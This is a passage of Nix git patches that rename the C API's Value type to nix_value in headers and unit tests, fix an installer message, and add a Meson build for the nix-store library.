nix_err nix_make_attrs(nix_c_context * context, Value * value, BindingsBuilder * * @see nix_alloc_primop * @return error code, NIX_OK on success. */ -nix_err nix_init_primop(nix_c_context * context, Value * value, PrimOp * op); +nix_err nix_init_primop(nix_c_context * context, nix_value * value, PrimOp * op); /** @brief Copy from another value * @param[out] context Optional, stores error information * @param[out] value Nix value to modify * @param[in] source value to copy from * @return error code, NIX_OK on success. */ -nix_err nix_copy_value(nix_c_context * context, Value * value, const Value * source); +nix_err nix_copy_value(nix_c_context * context, nix_value * value, const nix_value * source); /**@}*/ /** @brief Create a bindings builder @@ -466,7 +469,7 @@ BindingsBuilder * nix_make_bindings_builder(nix_c_context * context, EvalState * * @return error code, NIX_OK on success. */ nix_err -nix_bindings_builder_insert(nix_c_context * context, BindingsBuilder * builder, const char * name, Value * value); +nix_bindings_builder_insert(nix_c_context * context, BindingsBuilder * builder, const char * name, nix_value * value); /** @brief Free a bindings builder * @@ -493,7 +496,7 @@ void nix_bindings_builder_free(BindingsBuilder * builder); You should set this to false when building for your application's purpose. * @return NULL if failed, are a new nix_realised_string, which must be freed with nix_realised_string_free */ -nix_realised_string * nix_string_realise(nix_c_context * context, EvalState * state, Value * value, bool isIFD); +nix_realised_string * nix_string_realise(nix_c_context * context, EvalState * state, nix_value * value, bool isIFD); /** @brief Start of the string * @param[in] realised_string diff --git a/tests/unit/libexpr-support/tests/nix_api_expr.hh b/tests/unit/libexpr-support/tests/nix_api_expr.hh index d1840d034..6ddca0d14 100644 --- a/tests/unit/libexpr-support/tests/nix_api_expr.hh +++ b/tests/unit/libexpr-support/tests/nix_api_expr.hh @@ -25,7 +25,7 @@ protected: } EvalState * state; - Value * value; + nix_value * value; }; } diff --git a/tests/unit/libexpr/nix_api_expr.cc b/tests/unit/libexpr/nix_api_expr.cc index 92a6a1175..8b97d6923 100644 --- a/tests/unit/libexpr/nix_api_expr.cc +++ b/tests/unit/libexpr/nix_api_expr.cc @@ -39,12 +39,12 @@ TEST_F(nix_api_expr_test, nix_expr_eval_drv) ASSERT_EQ(NIX_TYPE_ATTRS, nix_get_type(nullptr, value)); EvalState * stateFn = nix_state_create(nullptr, nullptr, store); - Value * valueFn = nix_alloc_value(nullptr, state); + nix_value * valueFn = nix_alloc_value(nullptr, state); nix_expr_eval_from_string(nullptr, stateFn, "builtins.toString", ".", valueFn); ASSERT_EQ(NIX_TYPE_FUNCTION, nix_get_type(nullptr, valueFn)); EvalState * stateResult = nix_state_create(nullptr, nullptr, store); - Value * valueResult = nix_alloc_value(nullptr, stateResult); + nix_value * valueResult = nix_alloc_value(nullptr, stateResult); nix_value_call(ctx, stateResult, valueFn, value, valueResult); ASSERT_EQ(NIX_TYPE_STRING, nix_get_type(nullptr, valueResult)); @@ -70,7 +70,7 @@ TEST_F(nix_api_expr_test, nix_build_drv) })"; nix_expr_eval_from_string(nullptr, state, expr, ".", value); - Value * drvPathValue = nix_get_attr_byname(nullptr, value, state, "drvPath"); + nix_value * drvPathValue = nix_get_attr_byname(nullptr, value, state, "drvPath"); std::string drvPath; nix_get_string(nullptr, drvPathValue, OBSERVE_STRING(drvPath)); @@ -84,7 +84,7 @@ TEST_F(nix_api_expr_test, nix_build_drv) StorePath * drvStorePath = nix_store_parse_path(ctx, store, drvPath.c_str()); ASSERT_EQ(true, nix_store_is_valid_path(ctx, store, drvStorePath)); - Value * outPathValue = nix_get_attr_byname(ctx, value, state, "outPath"); + nix_value * outPathValue = nix_get_attr_byname(ctx, value, state, "outPath"); std::string outPath; nix_get_string(ctx, outPathValue, OBSERVE_STRING(outPath)); @@ -193,7 +193,8 @@ TEST_F(nix_api_expr_test, nix_expr_realise_context) const char * SAMPLE_USER_DATA = "whatever"; -static void primop_square(void * user_data, nix_c_context * context, EvalState * state, Value ** args, Value * ret) +static void +primop_square(void * user_data, nix_c_context * context, EvalState * state, nix_value ** args, nix_value * ret) { assert(context); assert(state); @@ -207,17 +208,17 @@ TEST_F(nix_api_expr_test, nix_expr_primop) PrimOp * primop = nix_alloc_primop(ctx, primop_square, 1, "square", nullptr, "square an integer", (void *) SAMPLE_USER_DATA); assert_ctx_ok(); - Value * primopValue = nix_alloc_value(ctx, state); + nix_value * primopValue = nix_alloc_value(ctx, state); assert_ctx_ok(); nix_init_primop(ctx, primopValue, primop); assert_ctx_ok(); - Value * three = nix_alloc_value(ctx, state); + nix_value * three = nix_alloc_value(ctx, state); assert_ctx_ok(); nix_init_int(ctx, three, 3); assert_ctx_ok(); - Value * result = nix_alloc_value(ctx, state); + nix_value * result = nix_alloc_value(ctx, state); assert_ctx_ok(); nix_value_call(ctx, state, primopValue, three, result); assert_ctx_ok(); @@ -226,7 +227,8 @@ TEST_F(nix_api_expr_test, nix_expr_primop) ASSERT_EQ(9, r); } -static void primop_repeat(void * user_data, nix_c_context * context, EvalState * state, Value ** args, Value * ret) +static void +primop_repeat(void * user_data, nix_c_context * context, EvalState * state, nix_value ** args, nix_value * ret) { assert(context); assert(state); @@ -255,27 +257,27 @@ TEST_F(nix_api_expr_test, nix_expr_primop_arity_2_multiple_calls) PrimOp * primop = nix_alloc_primop(ctx, primop_repeat, 2, "repeat", nullptr, "repeat a string", (void *) SAMPLE_USER_DATA); assert_ctx_ok(); - Value * primopValue = nix_alloc_value(ctx, state); + nix_value * primopValue = nix_alloc_value(ctx, state); assert_ctx_ok(); nix_init_primop(ctx, primopValue, primop); assert_ctx_ok(); - Value * hello = nix_alloc_value(ctx, state); + nix_value * hello = nix_alloc_value(ctx, state); assert_ctx_ok(); nix_init_string(ctx, hello, "hello"); assert_ctx_ok(); - Value * three = nix_alloc_value(ctx, state); + nix_value * three = nix_alloc_value(ctx, state); assert_ctx_ok(); nix_init_int(ctx, three, 3); assert_ctx_ok(); - Value * partial = nix_alloc_value(ctx, state); + nix_value * partial = nix_alloc_value(ctx, state); assert_ctx_ok(); nix_value_call(ctx, state, primopValue, hello, partial); assert_ctx_ok(); - Value * result = nix_alloc_value(ctx, state); + nix_value * result = nix_alloc_value(ctx, state); assert_ctx_ok(); nix_value_call(ctx, state, partial, three, result); assert_ctx_ok(); @@ -290,22 +292,22 @@ TEST_F(nix_api_expr_test, nix_expr_primop_arity_2_single_call) PrimOp * primop = nix_alloc_primop(ctx, primop_repeat, 2, "repeat", nullptr, "repeat a string", (void *) SAMPLE_USER_DATA); assert_ctx_ok(); - Value * primopValue = nix_alloc_value(ctx, state); + nix_value * primopValue = nix_alloc_value(ctx, state); assert_ctx_ok(); nix_init_primop(ctx, primopValue, primop); assert_ctx_ok(); - Value * hello = nix_alloc_value(ctx, state); + nix_value * hello = nix_alloc_value(ctx, state); assert_ctx_ok(); nix_init_string(ctx, hello, "hello"); assert_ctx_ok(); - Value * three = nix_alloc_value(ctx, state); + nix_value * three = nix_alloc_value(ctx, state); assert_ctx_ok(); nix_init_int(ctx, three, 3); assert_ctx_ok(); - Value * result = nix_alloc_value(ctx, state); + nix_value * result = nix_alloc_value(ctx, state); assert_ctx_ok(); NIX_VALUE_CALL(ctx, state, result, primopValue, hello, three); assert_ctx_ok(); @@ -318,7 +320,7 @@ TEST_F(nix_api_expr_test, nix_expr_primop_arity_2_single_call) } static void -primop_bad_no_return(void * user_data, nix_c_context * context, EvalState * state, Value ** args, Value * ret) +primop_bad_no_return(void * user_data, nix_c_context * context, EvalState * state, nix_value ** args, nix_value * ret) { } @@ -327,17 +329,17 @@ TEST_F(nix_api_expr_test, nix_expr_primop_bad_no_return) PrimOp * primop = nix_alloc_primop(ctx, primop_bad_no_return, 1, "badNoReturn", nullptr, "a broken primop", nullptr); assert_ctx_ok(); - Value * primopValue = nix_alloc_value(ctx, state); + nix_value * primopValue = nix_alloc_value(ctx, state); assert_ctx_ok(); nix_init_primop(ctx, primopValue, primop); assert_ctx_ok(); - Value * three = nix_alloc_value(ctx, state); + nix_value * three = nix_alloc_value(ctx, state); assert_ctx_ok(); nix_init_int(ctx, three, 3); assert_ctx_ok(); - Value * result = nix_alloc_value(ctx, state); + nix_value * result = nix_alloc_value(ctx, state); assert_ctx_ok(); nix_value_call(ctx, state, primopValue, three, result); ASSERT_EQ(ctx->last_err_code, NIX_ERR_NIX_ERROR); @@ -348,8 +350,8 @@ TEST_F(nix_api_expr_test, nix_expr_primop_bad_no_return) ASSERT_THAT(ctx->last_err, testing::Optional(testing::HasSubstr("badNoReturn"))); } -static void -primop_bad_return_thunk(void * user_data, nix_c_context * context, EvalState * state, Value ** args, Value * ret) +static void primop_bad_return_thunk( + void * user_data, nix_c_context * context, EvalState * state, nix_value ** args, nix_value * ret) { nix_init_apply(context, ret, args[0], args[1]); } @@ -358,22 +360,22 @@ TEST_F(nix_api_expr_test, nix_expr_primop_bad_return_thunk) PrimOp * primop = nix_alloc_primop(ctx, primop_bad_return_thunk, 2, "badReturnThunk", nullptr, "a broken primop", nullptr); assert_ctx_ok(); - Value * primopValue = nix_alloc_value(ctx, state); + nix_value * primopValue = nix_alloc_value(ctx, state); assert_ctx_ok(); nix_init_primop(ctx, primopValue, primop); assert_ctx_ok(); - Value * toString = nix_alloc_value(ctx, state); + nix_value * toString = nix_alloc_value(ctx, state); assert_ctx_ok(); nix_expr_eval_from_string(ctx, state, "builtins.toString", ".", toString); assert_ctx_ok(); - Value * four = nix_alloc_value(ctx, state); + nix_value * four = nix_alloc_value(ctx, state); assert_ctx_ok(); nix_init_int(ctx, four, 4); assert_ctx_ok(); - Value * result = nix_alloc_value(ctx, state); + nix_value * result = nix_alloc_value(ctx, state); assert_ctx_ok(); NIX_VALUE_CALL(ctx, state, result, primopValue, toString, four); @@ -387,11 +389,11 @@ TEST_F(nix_api_expr_test, nix_expr_primop_bad_return_thunk) TEST_F(nix_api_expr_test, nix_value_call_multi_no_args) { - Value * n = nix_alloc_value(ctx, state); + nix_value * n = nix_alloc_value(ctx, state); nix_init_int(ctx, n, 3); assert_ctx_ok(); - Value * r = nix_alloc_value(ctx, state); + nix_value * r = nix_alloc_value(ctx, state); nix_value_call_multi(ctx, state, n, 0, nullptr, r); assert_ctx_ok(); diff --git a/tests/unit/libexpr/nix_api_external.cc b/tests/unit/libexpr/nix_api_external.cc index 2391f8317..81ff285a4 100644 --- a/tests/unit/libexpr/nix_api_external.cc +++ b/tests/unit/libexpr/nix_api_external.cc @@ -49,10 +49,10 @@ TEST_F(nix_api_expr_test, nix_expr_eval_external) nix_init_external(ctx, value, val); EvalState * stateResult = nix_state_create(nullptr, nullptr, store); - Value * valueResult = nix_alloc_value(nullptr, stateResult); + nix_value * valueResult = nix_alloc_value(nullptr, stateResult); EvalState * stateFn = nix_state_create(nullptr, nullptr, store); - Value * valueFn = nix_alloc_value(nullptr, stateFn); + nix_value * valueFn = nix_alloc_value(nullptr, stateFn); nix_expr_eval_from_string(nullptr, state, "builtins.typeOf", ".", valueFn); diff --git a/tests/unit/libexpr/nix_api_value.cc b/tests/unit/libexpr/nix_api_value.cc index b674d8681..7fc8b4f64 100644 --- a/tests/unit/libexpr/nix_api_value.cc +++ b/tests/unit/libexpr/nix_api_value.cc @@ -148,8 +148,8 @@ TEST_F(nix_api_expr_test, nix_build_and_init_list) int size = 10; ListBuilder * builder = nix_make_list_builder(ctx, state, size); - Value * intValue = nix_alloc_value(ctx, state); - Value * intValue2 = nix_alloc_value(ctx, state); + nix_value * intValue = nix_alloc_value(ctx, state); + nix_value * intValue2 = nix_alloc_value(ctx, state); // `init` and `insert` can be called in any order nix_init_int(ctx, intValue, 42); @@ -204,10 +204,10 @@ TEST_F(nix_api_expr_test, nix_build_and_init_attr) BindingsBuilder * builder = nix_make_bindings_builder(ctx, state, size); - Value * intValue = nix_alloc_value(ctx, state); + nix_value * intValue = nix_alloc_value(ctx, state); nix_init_int(ctx, intValue, 42); - Value * stringValue = nix_alloc_value(ctx, state); + nix_value * stringValue = nix_alloc_value(ctx, state); nix_init_string(ctx, stringValue, "foo"); nix_bindings_builder_insert(ctx, builder, "a", intValue); @@ -217,7 +217,7 @@ TEST_F(nix_api_expr_test, nix_build_and_init_attr) ASSERT_EQ(2, nix_get_attrs_size(ctx, value)); - Value * out_value = nix_get_attr_byname(ctx, value, state, "a"); + nix_value * out_value = nix_get_attr_byname(ctx, value, state, "a"); ASSERT_EQ(42, nix_get_int(ctx, out_value)); nix_gc_decref(ctx, out_value); @@ -261,10 +261,10 @@ TEST_F(nix_api_expr_test, nix_value_init) // two = 2; // f = a: a * a; - Value * two = nix_alloc_value(ctx, state); + nix_value * two = nix_alloc_value(ctx, state); nix_init_int(ctx, two, 2); - Value * f = nix_alloc_value(ctx, state); + nix_value * f = nix_alloc_value(ctx, state); nix_expr_eval_from_string( ctx, state, @@ -278,7 +278,7 @@ TEST_F(nix_api_expr_test, nix_value_init) // r = f two; - Value * r = nix_alloc_value(ctx, state); + nix_value * r = nix_alloc_value(ctx, state); nix_init_apply(ctx, r, f, two); assert_ctx_ok(); @@ -307,11 +307,11 @@ TEST_F(nix_api_expr_test, nix_value_init) TEST_F(nix_api_expr_test, nix_value_init_apply_error) { - Value * some_string = nix_alloc_value(ctx, state); + nix_value * some_string = nix_alloc_value(ctx, state); nix_init_string(ctx, some_string, "some string"); assert_ctx_ok(); - Value * v = nix_alloc_value(ctx, state); + nix_value * v = nix_alloc_value(ctx, state); nix_init_apply(ctx, v, some_string, some_string); assert_ctx_ok(); @@ -336,7 +336,7 @@ TEST_F(nix_api_expr_test, nix_value_init_apply_lazy_arg) // r = f e // r should not throw an exception, because e is not evaluated - Value * f = nix_alloc_value(ctx, state); + nix_value * f = nix_alloc_value(ctx, state); nix_expr_eval_from_string( ctx, state, @@ -347,9 +347,9 @@ TEST_F(nix_api_expr_test, nix_value_init_apply_lazy_arg) f); assert_ctx_ok(); - Value * e = nix_alloc_value(ctx, state); + nix_value * e = nix_alloc_value(ctx, state); { - Value * g = nix_alloc_value(ctx, state); + nix_value * g = nix_alloc_value(ctx, state); nix_expr_eval_from_string( ctx, state, @@ -365,7 +365,7 @@ TEST_F(nix_api_expr_test, nix_value_init_apply_lazy_arg) nix_gc_decref(ctx, g); } - Value * r = nix_alloc_value(ctx, state); + nix_value * r = nix_alloc_value(ctx, state); nix_init_apply(ctx, r, f, e); assert_ctx_ok(); @@ -377,7 +377,7 @@ TEST_F(nix_api_expr_test, nix_value_init_apply_lazy_arg) ASSERT_EQ(1, n); // nix_get_attr_byname isn't lazy (it could have been) so it will throw the exception - Value * foo = nix_get_attr_byname(ctx, r, state, "foo"); + nix_value * foo = nix_get_attr_byname(ctx, r, state, "foo"); ASSERT_EQ(nullptr, foo); ASSERT_THAT(ctx->last_err.value(), testing::HasSubstr("error message for test case nix_value_init_apply_lazy_arg")); @@ -388,7 +388,7 @@ TEST_F(nix_api_expr_test, nix_value_init_apply_lazy_arg) TEST_F(nix_api_expr_test, nix_copy_value) { - Value * source = nix_alloc_value(ctx, state); + nix_value * source = nix_alloc_value(ctx, state); nix_init_int(ctx, source, 42); nix_copy_value(ctx, value, source); From 03883f0d1d3a35e95a5f30c911503c53bfc5693a Mon Sep 17 00:00:00 2001 From: Hamir Mahal Date: Thu, 13 Jun 2024 14:13:21 -0700 Subject: [PATCH 0824/1251] fix: copy in `install-multi-user.sh` (#10902) --- scripts/install-multi-user.sh | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/scripts/install-multi-user.sh b/scripts/install-multi-user.sh index ad3ee8881..6aee073e3 100644 --- a/scripts/install-multi-user.sh +++ b/scripts/install-multi-user.sh @@ -754,7 +754,7 @@ I will: (if it does, I will tell you how to clean them up.) - create local users (see the list above for the users I'll make) - create a local group ($NIX_BUILD_GROUP_NAME) - - install Nix in to $NIX_ROOT + - install Nix in $NIX_ROOT - create a configuration file in /etc/nix - set up the "default profile" by creating some Nix-related files in $ROOT_HOME From ea8e49bea5c2fdc93b87f52cbb58001e30e5f94d Mon Sep 17 00:00:00 2001 From: John Ericson Date: Thu, 13 Jun 2024 17:46:10 -0400 Subject: [PATCH 0825/1251] Force the cpuid option for libutil rather than relying on detection This is more robust, and match's Nixpkgs policy to force enable flags statically by default (a common distro thing). --- src/libutil/package.nix | 4 ++++ 1 file changed, 4 insertions(+) diff --git a/src/libutil/package.nix b/src/libutil/package.nix index a461dccb8..dd93e5663 100644 --- a/src/libutil/package.nix +++ b/src/libutil/package.nix @@ -102,6 +102,10 @@ mkDerivation (finalAttrs: { '' ); + mesonFlags = [ + (lib.mesonEnable "cpuid" stdenv.hostPlatform.isx86_64) + ]; + env = { # Needed for Meson to find Boost. # https://github.com/NixOS/nixpkgs/issues/86131. From 81004a05c60d579c935bd300146f4a0c918bdbeb Mon Sep 17 00:00:00 2001 From: John Ericson Date: Tue, 4 Jun 2024 09:28:27 -0400 Subject: [PATCH 0826/1251] Build `nix-store` with Meson MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit Special thanks to everyone that has worked on a Meson port so far, @p01arst0rm and @Qyriad in particular. Co-Authored-By: p01arst0rm Co-Authored-By: Artemis Tosini Co-Authored-By: Artemis Tosini Co-Authored-By: Felix Uhl Co-Authored-By: Jade Lovelace Co-Authored-By: Lunaphied Co-Authored-By: Maximilian Bosch Co-Authored-By: Pierre Bourdon Co-Authored-By: Qyriad Co-Authored-By: Rebecca Turner Co-Authored-By: Winter Co-Authored-By: eldritch horrors Co-Authored-By: jade Co-Authored-By: julia Co-Authored-By: rebecca “wiggles” turner Co-Authored-By: wiggles dog Co-Authored-By: fricklerhandwerk Co-authored-by: Eli Schwartz --- flake.nix | 15 +- maintainers/hydra.nix | 6 +- meson.build | 1 + src/libstore/.version | 1 + src/libstore/build/derivation-goal.cc | 2 +- src/libstore/linux/meson.build | 10 + src/libstore/meson.build | 452 ++++++++++++++++++++++++++ src/libstore/meson.options | 25 ++ src/libstore/package.nix | 142 ++++++++ src/libstore/unix/meson.build | 19 ++ src/libstore/windows/meson.build | 11 + 11 files changed, 681 insertions(+), 3 deletions(-) create mode 120000 src/libstore/.version create mode 100644 src/libstore/linux/meson.build create mode 100644 src/libstore/meson.build create mode 100644 src/libstore/meson.options create mode 100644 src/libstore/package.nix create mode 100644 src/libstore/unix/meson.build create mode 100644 src/libstore/windows/meson.build diff --git a/flake.nix b/flake.nix index 599c6dfbe..377247cb8 100644 --- a/flake.nix +++ b/flake.nix @@ -169,6 +169,17 @@ ; }; + nix-store = final.callPackage ./src/libstore/package.nix { + inherit + fileset + stdenv + officialRelease + versionSuffix + ; + libseccomp = final.libseccomp-nix; + busybox-sandbox-shell = final.busybox-sandbox-shell or final.default-busybox-sandbox-shell; + }; + nix = final.callPackage ./package.nix { inherit @@ -260,6 +271,7 @@ { "nix" = { }; "nix-util" = { }; + "nix-store" = { }; } // lib.optionalAttrs (builtins.elem system linux64BitSystems) { dockerImage = @@ -312,10 +324,11 @@ "${(pkgs.formats.yaml { }).generate "pre-commit-config.yaml" modular.pre-commit.settings.rawConfig}"; }; - inherit (pkgs.nix-util) mesonFlags; + mesonFlags = pkgs.nix-util.mesonFlags ++ pkgs.nix-store.mesonFlags; nativeBuildInputs = attrs.nativeBuildInputs or [] ++ pkgs.nix-util.nativeBuildInputs + ++ pkgs.nix-store.nativeBuildInputs ++ [ modular.pre-commit.settings.package (pkgs.writeScriptBin "pre-commit-hooks-install" diff --git a/maintainers/hydra.nix b/maintainers/hydra.nix index 2541b061e..d53647549 100644 --- a/maintainers/hydra.nix +++ b/maintainers/hydra.nix @@ -33,7 +33,11 @@ let doBuild = false; }; - forAllPackages = lib.genAttrs [ "nix" "nix-util" ]; + forAllPackages = lib.genAttrs [ + "nix" + "nix-util" + "nix-store" + ]; in { # Binary package for various platforms. diff --git a/meson.build b/meson.build index fc6441877..10883d832 100644 --- a/meson.build +++ b/meson.build @@ -7,3 +7,4 @@ project('nix-dev-shell', 'cpp', ) subproject('libutil') +subproject('libstore') diff --git a/src/libstore/.version b/src/libstore/.version new file mode 120000 index 000000000..b7badcd0c --- /dev/null +++ b/src/libstore/.version @@ -0,0 +1 @@ +../../.version \ No newline at end of file diff --git a/src/libstore/build/derivation-goal.cc b/src/libstore/build/derivation-goal.cc index e72ef4cf9..146a060f3 100644 --- a/src/libstore/build/derivation-goal.cc +++ b/src/libstore/build/derivation-goal.cc @@ -26,7 +26,7 @@ #include #ifndef _WIN32 // TODO abstract over proc exit status -# include +# include #endif #include diff --git a/src/libstore/linux/meson.build b/src/libstore/linux/meson.build new file mode 100644 index 000000000..0c494b5d6 --- /dev/null +++ b/src/libstore/linux/meson.build @@ -0,0 +1,10 @@ +sources += files( + 'personality.cc', +) + +include_dirs += include_directories('.') + +headers += files( + 'fchmodat2-compat.hh', + 'personality.hh', +) diff --git a/src/libstore/meson.build b/src/libstore/meson.build new file mode 100644 index 000000000..c9c6f66f1 --- /dev/null +++ b/src/libstore/meson.build @@ -0,0 +1,452 @@ +project('nix-store', 'cpp', + version : files('.version'), + default_options : [ + 'cpp_std=c++2a', + # TODO(Qyriad): increase the warning level + 'warning_level=1', + 'debug=true', + 'optimization=2', + 'errorlogs=true', # Please print logs for tests that fail + ], + meson_version : '>= 1.1', + license : 'LGPL-2.1-or-later', +) + +cxx = meson.get_compiler('cpp') + +# See note in ../nix-util/meson.build +deps_private = [ ] + +# See note in ../nix-util/meson.build +deps_public = [ ] + +# See note in ../nix-util/meson.build +deps_other = [ ] + +configdata = configuration_data() + +# TODO rename, because it will conflict with downstream projects +configdata.set_quoted('PACKAGE_VERSION', meson.project_version()) + +configdata.set_quoted('SYSTEM', host_machine.system()) + +nix_util = dependency('nix-util') +if nix_util.type_name() == 'internal' + # subproject sadly no good for pkg-config module + deps_other += nix_util +else + deps_public += nix_util +endif + +run_command('ln', '-s', + meson.project_build_root() / '__nothing_link_target', + meson.project_build_root() / '__nothing_symlink', + check : true, +) +can_link_symlink = run_command('ln', + meson.project_build_root() / '__nothing_symlink', + meson.project_build_root() / '__nothing_hardlink', + check : false, +).returncode() == 0 +run_command('rm', '-f', + meson.project_build_root() / '__nothing_symlink', + meson.project_build_root() / '__nothing_hardlink', + check : true, +) +summary('can hardlink to symlink', can_link_symlink, bool_yn : true) +configdata.set('CAN_LINK_SYMLINK', can_link_symlink.to_int()) + +# Check for each of these functions, and create a define like `#define HAVE_LCHOWN 1`. +# +# Only need to do functions that deps (like `libnixutil`) didn't already +# check for. +check_funcs = [ + # Optionally used for canonicalising files from the build + 'lchown', +] +foreach funcspec : check_funcs + define_name = 'HAVE_' + funcspec.underscorify().to_upper() + define_value = cxx.has_function(funcspec).to_int() + configdata.set(define_name, define_value) +endforeach + +has_acl_support = cxx.has_header('sys/xattr.h') \ + and cxx.has_function('llistxattr') \ + and cxx.has_function('lremovexattr') +configdata.set('HAVE_ACL_SUPPORT', has_acl_support.to_int()) + +# This is only conditional to work around +# https://github.com/mesonbuild/meson/issues/13293. It should be +# unconditional. +if not (host_machine.system() == 'windows' and cxx.get_id() == 'gcc') + deps_private += dependency('threads') +endif + +boost = dependency( + 'boost', + modules : ['container'], +) +# boost is a public dependency, but not a pkg-config dependency unfortunately, so we +# put in `deps_other`. +deps_other += boost + +curl = dependency('libcurl', 'curl') +deps_private += curl + +# seccomp only makes sense on Linux +is_linux = host_machine.system() == 'linux' +seccomp_required = get_option('seccomp-sandboxing') +if not is_linux and seccomp_required.enabled() + warning('Force-enabling seccomp on non-Linux does not make sense') +endif +seccomp = dependency('libseccomp', 'seccomp', required : seccomp_required, version : '>=2.5.5') +if is_linux and not seccomp.found() + warning('Sandbox security is reduced because libseccomp has not been found! Please provide libseccomp if it supports your CPU architecture.') +endif +configdata.set('HAVE_SECCOMP', seccomp.found().to_int()) +deps_private += seccomp + +nlohmann_json = dependency('nlohmann_json', version : '>= 3.9') +deps_public += nlohmann_json + +sqlite = dependency('sqlite3', 'sqlite', version : '>=3.6.19') +deps_private += sqlite + + +enable_embedded_sandbox_shell = get_option('embedded-sandbox-shell') +if enable_embedded_sandbox_shell + # This one goes in config.h + # The path to busybox is passed as a -D flag when compiling this_library. + # Idk why, ask the old buildsystem. + configdata.set('HAVE_EMBEDDED_SANDBOX_SHELL', 1) +endif + +generated_headers = [] +foreach header : [ 'schema.sql', 'ca-specific-schema.sql' ] + generated_headers += custom_target( + command : [ 'bash', '-c', '{ echo \'R"__NIX_STR(\' && cat @INPUT@ && echo \')__NIX_STR"\'; } > "$1"', '_ignored_argv0', '@OUTPUT@' ], + input : header, + output : '@PLAINNAME@.gen.hh', + install : true, + install_dir : get_option('includedir') / 'nix' + ) +endforeach + +if enable_embedded_sandbox_shell + hexdump = find_program('hexdump', native : true) + embedded_sandbox_shell_gen = custom_target( + 'embedded-sandbox-shell.gen.hh', + command : [ + hexdump, + '-v', + '-e', + '1/1 "0x%x," "\n"' + ], + input : busybox.full_path(), + output : 'embedded-sandbox-shell.gen.hh', + capture : true, + feed : true, + ) + generated_headers += embedded_sandbox_shell_gen +endif + +config_h = configure_file( + configuration : configdata, + output : 'config-store.h', +) + +add_project_arguments( + # TODO(Qyriad): Yes this is how the autoconf+Make system did it. + # It would be nice for our headers to be idempotent instead. + '-include', 'config-util.h', + '-include', 'config-store.h', + '-Wno-deprecated-declarations', + '-Wimplicit-fallthrough', + '-Werror=switch', + '-Werror=switch-enum', + '-Wdeprecated-copy', + '-Wignored-qualifiers', + # Enable assertions in libstdc++ by default. Harmless on libc++. Benchmarked + # at ~1% overhead in `nix search`. + # + # FIXME: remove when we get meson 1.4.0 which will default this to on for us: + # https://mesonbuild.com/Release-notes-for-1-4-0.html#ndebug-setting-now-controls-c-stdlib-assertions + '-D_GLIBCXX_ASSERTIONS=1', + language : 'cpp', +) + +sources = files( + 'binary-cache-store.cc', + 'build-result.cc', + 'build/derivation-goal.cc', + 'build/drv-output-substitution-goal.cc', + 'build/entry-points.cc', + 'build/goal.cc', + 'build/substitution-goal.cc', + 'build/worker.cc', + 'builtins/buildenv.cc', + 'builtins/fetchurl.cc', + 'builtins/unpack-channel.cc', + 'common-protocol.cc', + 'content-address.cc', + 'daemon.cc', + 'derivations.cc', + 'derived-path-map.cc', + 'derived-path.cc', + 'downstream-placeholder.cc', + 'dummy-store.cc', + 'export-import.cc', + 'filetransfer.cc', + 'gc.cc', + 'globals.cc', + 'http-binary-cache-store.cc', + 'indirect-root-store.cc', + 'keys.cc', + 'legacy-ssh-store.cc', + 'local-binary-cache-store.cc', + 'local-fs-store.cc', + 'local-overlay-store.cc', + 'local-store.cc', + 'log-store.cc', + 'machines.cc', + 'make-content-addressed.cc', + 'misc.cc', + 'names.cc', + 'nar-accessor.cc', + 'nar-info-disk-cache.cc', + 'nar-info.cc', + 'optimise-store.cc', + 'outputs-spec.cc', + 'parsed-derivations.cc', + 'path-info.cc', + 'path-references.cc', + 'path-with-outputs.cc', + 'path.cc', + 'pathlocks.cc', + 'posix-fs-canonicalise.cc', + 'profiles.cc', + 'realisation.cc', + 'remote-fs-accessor.cc', + 'remote-store.cc', + 's3-binary-cache-store.cc', + 'serve-protocol-connection.cc', + 'serve-protocol.cc', + 'sqlite.cc', + 'ssh-store-config.cc', + 'ssh-store.cc', + 'ssh.cc', + 'store-api.cc', + 'store-reference.cc', + 'uds-remote-store.cc', + 'worker-protocol-connection.cc', + 'worker-protocol.cc', +) + +include_dirs = [ + include_directories('.'), + include_directories('build'), +] + +headers = [config_h] +files( + 'binary-cache-store.hh', + 'build-result.hh', + 'build/derivation-goal.hh', + 'build/drv-output-substitution-goal.hh', + 'build/goal.hh', + 'build/substitution-goal.hh', + 'build/worker.hh', + 'builtins.hh', + 'builtins/buildenv.hh', + 'common-protocol-impl.hh', + 'common-protocol.hh', + 'content-address.hh', + 'daemon.hh', + 'derivations.hh', + 'derived-path-map.hh', + 'derived-path.hh', + 'downstream-placeholder.hh', + 'filetransfer.hh', + 'gc-store.hh', + 'globals.hh', + 'indirect-root-store.hh', + 'keys.hh', + 'legacy-ssh-store.hh', + 'length-prefixed-protocol-helper.hh', + 'local-fs-store.hh', + 'local-overlay-store.hh', + 'local-store.hh', + 'log-store.hh', + 'machines.hh', + 'make-content-addressed.hh', + 'names.hh', + 'nar-accessor.hh', + 'nar-info-disk-cache.hh', + 'nar-info.hh', + 'outputs-spec.hh', + 'parsed-derivations.hh', + 'path-info.hh', + 'path-references.hh', + 'path-regex.hh', + 'path-with-outputs.hh', + 'path.hh', + 'pathlocks.hh', + 'posix-fs-canonicalise.hh', + 'profiles.hh', + 'realisation.hh', + 'remote-fs-accessor.hh', + 'remote-store-connection.hh', + 'remote-store.hh', + 's3-binary-cache-store.hh', + 's3.hh', + 'serve-protocol-connection.hh', + 'serve-protocol-impl.hh', + 'serve-protocol.hh', + 'sqlite.hh', + 'ssh-store-config.hh', + 'ssh.hh', + 'store-api.hh', + 'store-cast.hh', + 'store-dir-config.hh', + 'store-reference.hh', + 'uds-remote-store.hh', + 'worker-protocol-connection.hh', + 'worker-protocol-impl.hh', + 'worker-protocol.hh', +) + +if host_machine.system() == 'linux' + subdir('linux') +endif + +if host_machine.system() == 'windows' + subdir('windows') +else + subdir('unix') +endif + +fs = import('fs') + +prefix = get_option('prefix') +# For each of these paths, assume that it is relative to the prefix unless +# it is already an absolute path (which is the default for store-dir, state-dir, and log-dir). +path_opts = [ + # Meson built-ins. + 'datadir', + 'bindir', + 'mandir', + 'libdir', + 'includedir', + 'libexecdir', + # Homecooked Nix directories. + 'store-dir', + 'state-dir', + 'log-dir', +] +# For your grepping pleasure, this loop sets the following variables that aren't mentioned +# literally above: +# store_dir +# state_dir +# log_dir +# profile_dir +foreach optname : path_opts + varname = optname.replace('-', '_') + path = get_option(optname) + if fs.is_absolute(path) + set_variable(varname, path) + else + set_variable(varname, prefix / path) + endif +endforeach + +# sysconfdir doesn't get anything installed to 